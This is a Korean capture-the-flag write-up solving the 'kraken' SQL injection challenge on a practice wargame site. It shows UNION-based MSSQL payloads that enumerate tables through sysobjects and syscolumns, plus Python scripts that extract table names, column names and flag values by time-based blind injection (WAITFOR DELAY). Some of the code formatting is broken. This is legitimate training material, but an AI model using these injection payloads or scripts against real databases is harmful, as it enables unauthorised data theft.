kraken

flag_{hash} 테이블에 저장된 플래그 정보를 추출한 후에 pw 파라미터에 담아 전달해야 하는 문제다.
master, information 문자는 필터링 되고 있기 때문에 master…sysobjects, information_schema 는 사용할 수 없다.
그 대신에 sysobjects 테이블을 사용할 수 있다.


사용법은 아래와 같으며, 아래 쿼리를 실행하면 유저가 생성한 모든 테이블 정보를 확인할 수 있다.


위 내용을 참고하여 유니온 절로 테이블을 뽑아보자.
if($result['id']) echo "<h2>{$result['id']}</h2>"; 에 의해 조회된 행의 id 컬럼 값이 존재하면 그 값이 브라우저에 출력된다.
( 조회된 1번째 행의 테이블명은 “flag_34d1a7f3bb77c91e” 로 확인됐다. )


그러나 유저 테이블은 여러 개일 수 있다. 1번째 행(0번째 인덱스)의 테이블명을 가져오는 게 아니라,
특정 순서에 있는 행을 불러와 값을 확인하고 싶은 경우에는 아래 방법을 사용할 수 있다.
( OFFSET {VALUE} ROWS FETCH NEXT {가져올 행 개수} ROWS ONLYLIMIT N,M 과 동일하게 동작한다. )


혹은, 조회되는 행들의 특정 컬럼을 지정해서 이어 붙인 후 출력하는 것도 가능하다.


STRING_AGG({컬럼명}, {구분자}) 함수를 사용하여 모든 행의 name 컬럼 값을 이어붙여 출력한 결과는 아래와 같다.

  • 총 3개의 테이블을 확인할 수 있었으며, flag_ 로 시작하는 테이블은 2개로 확인됐다.
    • (1) member
    • (2) flag_34d1a7f3bb77c91e
    • (3) flag_a98fbc3d1d46a81e
(페이로드) ?pw=' UNION SELECT (STRING_AGG(name, ' ')) FROM sysobjects WHERE type='U'--


“flag_34d1a7f3bb77c91e” 테이블에 대한 컬럼을 전수 조사한 결과는 다음과 같다.
( wrongflag ) 컬럼이 출력된 것으로 볼 때, 이 테이블은 플래그를 저장한 테이블이 아닌 것으로 보인다.

(페이로드) ?pw=' UNION SELECT STRING_AGG(name, ' ') FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='flag_34d1a7f3bb77c91e')--


이에, “flag_a98fbc3d1d46a81e” 테이블의 컬럼 정보를 모두 추출하였으며 이 과정에서 flag 컬럼이 확인되었다.
( 컬럼명이 flag 이므로, 문제 풀이를 위한 플래그가 저장되어 있을 것으로 보인다. 직접 확인해보자. )


플래그 값은 아래와 같이 추출에 성공했다.

(페이로드) ?pw=' UNION SELECT STRING_AGG(flag, ' ') FROM flag_a98fbc3d1d46a81e--


근데 플래그를 pw 파라미터에 넣고 요청을 보내도 문제 클리어가 안 된다.


아까 확인하지 않고 넘어간 flag_34d1...c91e 테이블의 wrongflag 컬럼 값도 확인해보자
( wrongflag 컬럼에도 플래그 값이 저장되어 있었다. )


KRAKEN 문제의 정답은 wrongflag 컬럼에 저장된 값이었다… . (왜…Why…)


번외

만약 응답 값으로는 참/거짓 판별이 불가하다면 Time-based SQLi 로도 값을 구해볼 수 있다.
MSSQL 에서는 OFFSET {VALUE} ROWS FETCH NEXT {가져올 행 개수} ROWS ONLY를 사용하면 LIMIT N,M 처럼 동작한다.

(페이로드) ?pw=%27%20IF%20(ASCII(SUBSTRING((SELECT%20name%20from%20sysobjects%20where%20type=%27U%27%20ORDER%20BY%201%20OFFSET%201%20ROWS%20FETCH%20NEXT%201%20ROWS%20ONLY),1,1)))<128%20WAITFOR%20DELAY%20%270:0:2%27--


Time-based SQLi

1. 테이블명 추출

이를 토대로 작성한 자동화 스크립트는 아래와 같으며, flag_ 로 시작하는 테이블은 2개 발견되었다.

  • (0) flag_34d1a7f3bb7
  • (1) flag_a98fbc3d1d4
import requests
import time
 
t_url = 'https://los.rubiya.kr/chall/kraken_647f3513b94339a4c59cf6f9074d0f92.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
password = ''
numValue = ''
 
for i in range(6, 17):
    low = 1
    high = 129
 
    while low <= high:
        mid = (low + high) // 2
        print(low, mid, high)
        payload = ( f"?pw=%27%20IF%20(ASCII(SUBSTRING((SELECT%20name%20from%20sysobjects%20where%20type=%27U%27%20ORDER%20BY%201%20OFFSET%201%20ROWS%20FETCH%20NEXT%201%20ROWS%20ONLY),{i},1)))%3C{mid}%20WAITFOR%20DELAY%20%270:0:2%27--" )
        start = time.time()
        r = requests.get(t_url + payload, cookies=cookie)
        end = time.time()
        
        print(end - start)
        if (int(end - start)) > 1:    
            high = mid - 1
        else:
            low = mid + 1
 
        if low > high:
            password = password + chr(high)
            numValue = numValue + str(high) + ' '
 
            print(f"Extracted admins password : \n\t[+] {numValue}\n\t[+] {password}")
            break

#### 특정 테이블의 컬럼명 추출 "flag_34d1a7f3bb77c91e" 테이블의 컬럼명 추출 → "wrongflag" - 모든 행 값을 한 번에 추출하고 싶으면 `(페이로드 2)` 방법을 사용하면 된다. ![[C9X8S7D6A5ST6WA9-asdf7as890f7ads0f988-20260129224246052.png]] ```python # (페이로드 1) ?pw=' IF (ASCII(SUBSTRING((SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='flag_34d1a7f3bb77c91e') ORDER BY 1 OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY),{i},1)))<{mid} WAITFOR DELAY '0:0:2'--

(페이로드 2) ?pw=’ IF (ASCII(SUBSTRING((SELECT STRING_AGG(name, ’ ’) FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name=‘flag_34d1a7f3bb77c91e’)),{i},1)))<{mid} WAITFOR DELAY ‘0:0:2’—

import requests import time

t_url = ‘https://los.rubiya.kr/chall/kraken_647f3513b94339a4c59cf6f9074d0f92.php’ cookie = {‘PHPSESSID’ : ‘COOKIE_VALUE’} password = ” numValue = ”

for i in range(1, 17): low = 1 high = 129

while low <= high:
    mid = (low + high) // 2
    print(low, mid, high)
    payload = ( f"?pw=%27%20IF%20(ASCII(SUBSTRING((SELECT%20name%20FROM%20syscolumns%20WHERE%20id=(SELECT%20id%20FROM%20sysobjects%20WHERE%20name=%27flag_34d1a7f3bb77c91e%27)%20ORDER%20BY%201%20OFFSET%200%20ROWS%20FETCH%20NEXT%201%20ROWS%20ONLY),{i},1)))%3C{mid}%20WAITFOR%20DELAY%20%270:0:2%27--" )
    start = time.time()
    r = requests.get(t_url + payload, cookies=cookie)
    end = time.time()
    
    print(end - start)
    if (int(end - start)) > 1:    
        high = mid - 1
    else:
        low = mid + 1

    if low > high:
        password = password + chr(high)
        numValue = numValue + str(high) + ' '

        print(f"Extracted admins password : \n\t[+] {numValue}\n\t[+] {password}")
        break
        

'''실행 결과 Extracted admins password : [+] 119 114 111 110 103 102 108 97 103 129 129 129 129 129 129 129 [+] wrongflag '''



#### 특정 테이블의 컬럼에 저장된 값 추출
추출한 플래그 정보는 아래와 같다. 이렇게 Time-based SQLi 방법으로도 문제 풀이를 진행해보았다.  
`(TABLE) flag_34d1a7f3bb77c91e → (COLUMN) wrongflag → (VALUE) FLAG{...}`
![[C9X8S7D6A5ST6WA9-asdf7as890f7ads0f988-20260129224107339.png]]
```python
import requests
import time
 
t_url = 'https://los.rubiya.kr/chall/kraken_647f3513b94339a4c59cf6f9074d0f92.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
password = ''
numValue = ''
 
for i in range(1, 30):
    low = 1
    high = 129
 
    while low <= high:
        mid = (low + high) // 2
        print(low, mid, high)
        payload = ( f"?pw=%27%20IF%20(ASCII(SUBSTRING((SELECT%20wrongflag%20FROM%20flag_34d1a7f3bb77c91e%20WHERE%201=1%20ORDER%20BY%201%20OFFSET%200%20ROWS%20FETCH%20NEXT%201%20ROWS%20ONLY),{i},1))%3C{mid})%20WAITFOR%20DELAY%20%270:0:2%27--" )
        start = time.time()
        r = requests.get(t_url + payload, cookies=cookie)
        end = time.time()
        
        if (int(end - start)) > 1:    
            high = mid - 1
        else:
            low = mid + 1
 
        if low > high:
            password = password + chr(high)
            numValue = numValue + str(high) + ' '
 
            print(f"Extracted admins password : \n\t[+] {numValue}\n\t[+] {password}")
            break

🐛.. 🐛.. 🐛..


REFERENCE

  1. https://www.atlassian.com/data/sql/sql-server-list-tables-how-to-show-all-tables
  2. https://hothoony.tistory.com/857
  3. https://www.hyoyoung.net/104